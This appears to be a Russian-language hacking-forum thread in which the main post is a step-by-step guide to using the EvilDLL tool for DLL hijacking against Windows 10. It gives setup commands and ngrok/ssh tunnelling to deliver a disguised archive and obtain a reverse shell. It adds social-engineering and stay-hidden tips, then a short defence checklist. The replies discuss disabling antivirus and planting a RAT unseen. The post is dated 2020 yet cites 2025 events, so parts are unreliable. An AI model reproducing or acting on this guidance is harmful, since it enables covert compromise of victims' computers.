PDA

Просмотр полной версии : EvilDLL и атака DLL Hijacking: Всё, что нужно знать о перехвате DLL


Vertigo
13.04.2020, 03:49
https://forum.antichat.xyz/attachments/29056556/img_e602814f97.png
Привет, Уважаемые Форумчане и Друзья! Сегодня мы окунемся в мир DLL Hijacking и рассмотрим любопытный инструмент под названием Evildll от Thelinuxchoice. Да, Microsoft уже который год пытается прикрутить гайки и бороться с этой заразой, но, как видите, новые лазейки и способы атак появляются регулярно. Не верите? Смотрите, как в 2025-м обнаружилась Уязвимость dMSA в Windows Server 2025 угрожает Active Directory (https://forum.antichat.xyz/threads/1645279/) — она тоже сводится к подмене DLL внутри AD. Здесь мы покажем один из таких "приветов" из прошлого, который, однако, все еще вполне актуален.

В двух словах о Dll Hijacking: это когда приложение .exe при запуске вместо легитимной библиотеки подгружает вредоносную DLL-ку. В итоге, можно получить что угодно — от создания дубликатов cmd с powershell и их скрытного вызова до полноценного reverse shell, который даст вам полный контроль над удаленной машиной. Звучит интригующе, правда?


Важное предупреждение:Вся информация, представленная здесь, предназначена исключительно для ознакомления и углубленного изучения проблем безопасности. Использование рассматриваемого инструмента в незаконных целях строго запрещено и преследуется по закону!

Установка Evildll: Готовимся к "Дьявольской" Работе

Код:



git clone https://github.com/thelinuxchoice/evildll.git
apt-get install mingw-w64
cd evildll/
chmod +x evildll.sh
bash evildll.sh


В моем Blackarch mingw-w64 уже был, так что обошлось без лишних телодвижений. А вот пользователям Kali Linux и других дистрибутивов, скорее всего, придется его установить.

https://forum.antichat.xyz/attachments/29056556/img_68528b20b5.png

Инструмент, признаюсь, с характером. Немало времени ушло на то, чтобы "договориться" с ним. Один из главных подводных камней — это authtoken для ngrok. При первом запуске Evildll сам ngrok подтянет, но токен потребует. Если authtoken не подходит или сервис ограничен, обратите внимание на альтернативы ngrok в 2025 году (https://forum.antichat.xyz/threads/1644599/) — это оставит цепочку гибкой даже в замкнутых сетях.

Я пытался закомментировать участок кода, отвечающий за проверку токена, но, увы, это может аукнуться проблемами с запуском listener. Так что лучше не лениться: либо регистрируйтесь на ngrok и получите свой токен, либо ищите, где его достать. Без него — никуда.
Как только ngrok появится в директории evildll, делаем его исполняемым и прописываем токен:

Код:



chmod +x ngrok
./ngrok authtoken значение_token


Кстати, если заглянуть в код evildll.sh, то там можно увидеть стандартный IP-адрес-заглушку. Я его сменил на 127.0.0.1 — хуже не стало, да и понятнее для локальных тестов.

https://forum.antichat.xyz/attachments/29056556/img_1f7beff9d5.png

В бой: Атакуем Windows 10
Целимся, как и раньше, в бедную Windows 10. После запуска инструмента, если с токеном все хорошо, Evildll предложит два варианта атаки. Второй — для локальной сети или WAN, где вы задаете IP-адрес атакующего хоста и порт вручную.
При первом способе инструмент сгенерирует вам ссылку для ngrok и запустит сервер на порту 3333. Полученную ссылку вида 0.tcp.ngrok.io:порт маскируем (шифруем, прячем за короткой ссылкой) и отправляем "жертве".
Как альтернативу ngrok, можно использовать ssh -R в другом терминале:

Код:



ssh -R 80:localhost:3333 custom-subdomain@ssh.localhost.run


Это создаст две ссылки (http и https) и откроет доступ по ssh для скачивания сгенерированного архива. Их тоже можно завуалировать и отправить тестируемому субъекту.

Если нужны проверенные конфиги без ngrok, почитайте обсуждение альтернатив ngrok (https://forum.antichat.xyz/threads/1644599/) — там есть рабочие примеры.

Минус такого подхода с ngrok/ssh — порты часто назначаются произвольно, и это не всегда срабатывает. Но если все успешно, жертве сразу же предложат скачать и сохранить архив. Браузеры, конечно, могут немного поворчать про "редко загружаемый файл", но на этом обычно все.

https://forum.antichat.xyz/attachments/29056556/img_877c76e30c.png

Evildll тут же радостно сообщит о переходе по ссылке и предложит активировать прослушиватель на 4444 порте.

https://forum.antichat.xyz/attachments/29056556/img_8a93cadbcd.png

Ключевой момент: атакуемый субъект должен РАЗАРХИВИРОВАТЬ архив и только потом запустить приложение .exe. Если попытаться запустить его прямо из архива, получите ошибку, и ничего не выйдет.

https://forum.antichat.xyz/attachments/29056556/img_7e1df84e3f.png

Сам момент запуска — буквально пара секунд мелькает окно, но именно в этот миг все и происходит, с правами пользователя, который запустил файл. Мне удалось запечатлеть этот "парасекундный момент"!

https://forum.antichat.xyz/attachments/29056556/img_991d875ebb.png

У атакующего в этот момент уже есть данные и крепкая сессия.
Команды можно выполнять любые. Хоть папку lox на рабочем столе создавайте (у меня с русскоязычной символикой Blackarch пока не дружит, извините за иероглифы).

https://forum.antichat.xyz/attachments/29056556/img_75b6c41b56.png

Можно потрогать системные файлы, выполнять команды, копировать, удалять, запускать службы. Главное — не запускайте активные приложения, это явное самообнаружение. Представьте, если на чистом рабочем столе вдруг сам собой Skype запустится — подозрительно, не так ли?

https://forum.antichat.xyz/attachments/29056556/img_1283f95e7e.png

После успешной сессии все данные будут сохранены в файл saved в директории инструмента. Перед следующей атакой не забудьте удалить этот файл, а также архив с одноименным именем (.zip) и index.php — они сгенерируются заново.
Плюсы и Минусы Evildll: Честно и Откровенно
Я вам уже немного поныл про ngrok, теперь давайте разберем плюсы:

Гибкость: Имя архива можно задать любое, исполняемый дефолтный .exe файл можно переименовать и засунуть обратно в архив. А при желании — даже свою иконку на него навесить.

Социальная Инженерия (СИ): Тут открывается простор для фантазии! Можно пробросить архив с каким-нибудь "полезным" софтом, к нему — инструкцию по установке "патча" (на самом деле — вашего .exe), и вуаля!

Устойчивость сессии: Это большой плюс. Неважно, что запускается или закрывается на хосте жертвы, пока он включен — сессия живет!

Скрытность: После запуска приложения процесс сессии визуально скрыт. Это не панацея, но для быстрого взгляда — незаметно.

Интеграция с Metasploit: Инструмент дает возможность использовать Metasploit, что расширяет арсенал атакующего.

Дублирование cmd с reverse shell: Несмотря на то, что это не самый вредный процесс для атакующего, для жертвы это полный компромисс системы. Процесс вроде бы "обычный", но по факту — открытый канал к машине. Аналогичный эффект наблюдается при эксплуатации CVE-2023-1585/1587 в Avast (https://forum.antichat.xyz/threads/1641815/), где DLL-гонка приводит к выполнению кода от SYSTEM.

https://forum.antichat.xyz/attachments/29056556/img_e7a612d7a4.png

Защита: Как Не Попасться на Удочку
Перед тем как перейти к чек-листу, стоит усложнить жизнь анализаторам, применяя приёмы из статьи как усложнить анализ приложения (https://forum.antichat.xyz/threads/1643402/).

Ну а теперь о главном — как от всего этого защититься. Опытные админы и пользователи могут сразу заподозрить неладное.

Сетевой Мониторинг (netstat): Первым делом, конечно, netstat в cmd. Подозрительное соединение сразу бросится в глаза.

Проверка Файловой Системы: Заходим на диск C и, о чудо, видим свежую папку dll, которой там быть не должно. Удаляем ее вместе со всем содержимым.

Реестр: Обязательно проверяем ветки реестра на наличие аномальных записей, связанных с новыми DLL или путями запуска.
Для более серьезной защиты и обнаружения я бы порекомендовал взглянуть на следующее:

Sysmon: Этот инструмент от Microsoft Sysinternals просто незаменим. Он логирует создание процессов, загрузку DLL, сетевые подключения и много другое. Правильно настроенные правила Sysmon могут поймать DLL Hijacking на горячем.

Политики Безопасности: Используйте AppLocker или Windows Defender Application Control (WDAC). Эти политики позволяют контролировать, какие приложения и библиотеки могут запускаться в вашей системе. Белые списки — наше всё!

EDR-решения: Системы Endpoint Detection and Response (EDR) постоянно мониторят активность на конечных точках и могут обнаруживать аномальное поведение, указывающее на атаки типа DLL Hijacking.

Обновления: Ну и банальное, но крайне важное: регулярно обновляйте ОС и все программы. Microsoft постоянно закрывает известные уязвимости.

Обучение Пользователей: Самое слабое звено часто — это человек. Обучайте пользователей основам кибергигиены и социальной инженерии. Объясняйте, почему нельзя запускать файлы из непонятных архивов или по подозрительным ссылкам. А тем, кто хочет системно потренироваться в лабораторных условиях и научиться выявлять подобные цепочки от разведки до эксплуатации, пригодится практический трек «Pentest: от планирования до эксплуатации» на Специалист по тестированию на проникновение в информационные системы.
Чтобы понимать, где именно может просесть оборона Active Directory, полезно сверяться с топ-5 уязвостей Active Directory (https://forum.antichat.xyz/threads/1645277/) и разбором вектора атаки через ACL (https://forum.antichat.xyz/threads/1645301/) — так вы закроете дыры ещё до того, как злоумышленник подменит DLL.

На этом у меня пока все, друзья. Надеюсь, было познавательно! Благодарю за внимание и до новых встреч в киберпространстве!


А теперь вопрос к вам, Форумчане: какие еще необычные или малоизвестные методы обнаружения DLL Hijacking вы используете в своей практике? Поделитесь опытом, чтобы сделать нашу защиту еще крепче!

ABlogS
18.04.2020, 04:25
Доброй ночи, спасибо вам большое.
А как можно избавиться от битой кодировки кириллицы?

Vertigo
18.04.2020, 10:43
ABlogS сказал(а):

А как можно избавиться от битой кодировки кириллицы?


Здесь нет ничего сложного.
Прямо на месте выполняем в cmd команду chcp 65001

И можно видеть,что вывод приводится к приемлимому результату.

Также это касается и сессии в Metasploit.
Многие терминалы в Linux позволяют выполнить настройку кодировки UTF-8
В панели set character Encoding-UTF-8
Часто приходится пользоваться всё же командой chcp и выбирать такие кодировки:
1251-кириллица Windows
65001-UTF-8
866-кодировка DOC

ABlogS
18.04.2020, 16:03
А можно ли как-то отключить антивирус и залить Rat файл, но так что бы человек не увидел этого?
Заранее, спасибо.

И еще небольшая проблема, Windows Defender (Который на 10ке) палит угрозу.
Может что-то не так делаю?

pp11
18.04.2020, 21:13
ABlogS сказал(а):

А можно ли как-то отключить антивирус и залить Rat файл, но так что бы человек не увидел этого?


Имея физический доступ только. Чудес не бывает.



ABlogS сказал(а):

И еще небольшая проблема, Windows Defender (Который на 10ке) палит угрозу.
Может что-то не так делаю?


Так и должно быть.

Vertigo
21.04.2020, 23:28
ABlogS сказал(а):

А можно ли как-то отключить антивирус и залить Rat файл, но так что бы человек не увидел этого?


В этой полученной сессии такое провернуть крайне сложно будет,т.к. возникнут проблемы с эскалацией привилегий и сессия просто будет утеряна.
В Windows 10 избежать такого не получится,т.к. в этой ОС существуют защитные настройки,которые касаются команд из cmd,связанных с правами system к примеру.
Вы можете увидеть командой tasklist какие процессы занимает антивирус и догадаться что за антивирус,но если он с правами system,то убить процесс банально командой: taskkill id_процесса не получится.
А до прав system дотянуться без дополнительных действий непросто (без подключения Metasploit в работу,Netcat и т.п.)
Можно через cmd попытаться выполнить сложносочинённые команды для powerhell,чтобы затем сработало от того выполнение,но стоит ли оно того в случае с Rat-ником?
Их же сложно замаскировать.


ABlogS сказал(а):

И еще небольшая проблема, Windows Defender (Который на 10ке) палит угрозу.
Может что-то не так делаю?


Да всё так Вы делаете.Здесь вот как получилось-Defender считался сломаным и некорректно-рабочим до 17-го апреля 2020 года)
Что позволяло обходить ,или пренебрегать его защитой.
Microsoft срочно выпустила дополнение KB4549951 для Windows 10 и вроде подремонтировали защитника.
Так что ,своевременность-вещь та,которая дороже пунктуальности).

AAnimeshnikk
30.04.2020, 12:39
Vertigo сказал(а):

Здесь нет ничего сложного.
Прямо на месте выполняем в cmd команду chcp 65001

И можно видеть,что вывод приводится к приемлимому результату.

Также это касается и сессии в Metasploit.
Многие терминалы в Linux позволяют выполнить настройку кодировки UTF-8
В панели set character Encoding-UTF-8
Часто приходится пользоваться всё же командой chcp и выбирать такие кодировки:
1251-кириллица Windows
65001-UTF-8
866-кодировка DOC


Огромное спасибо)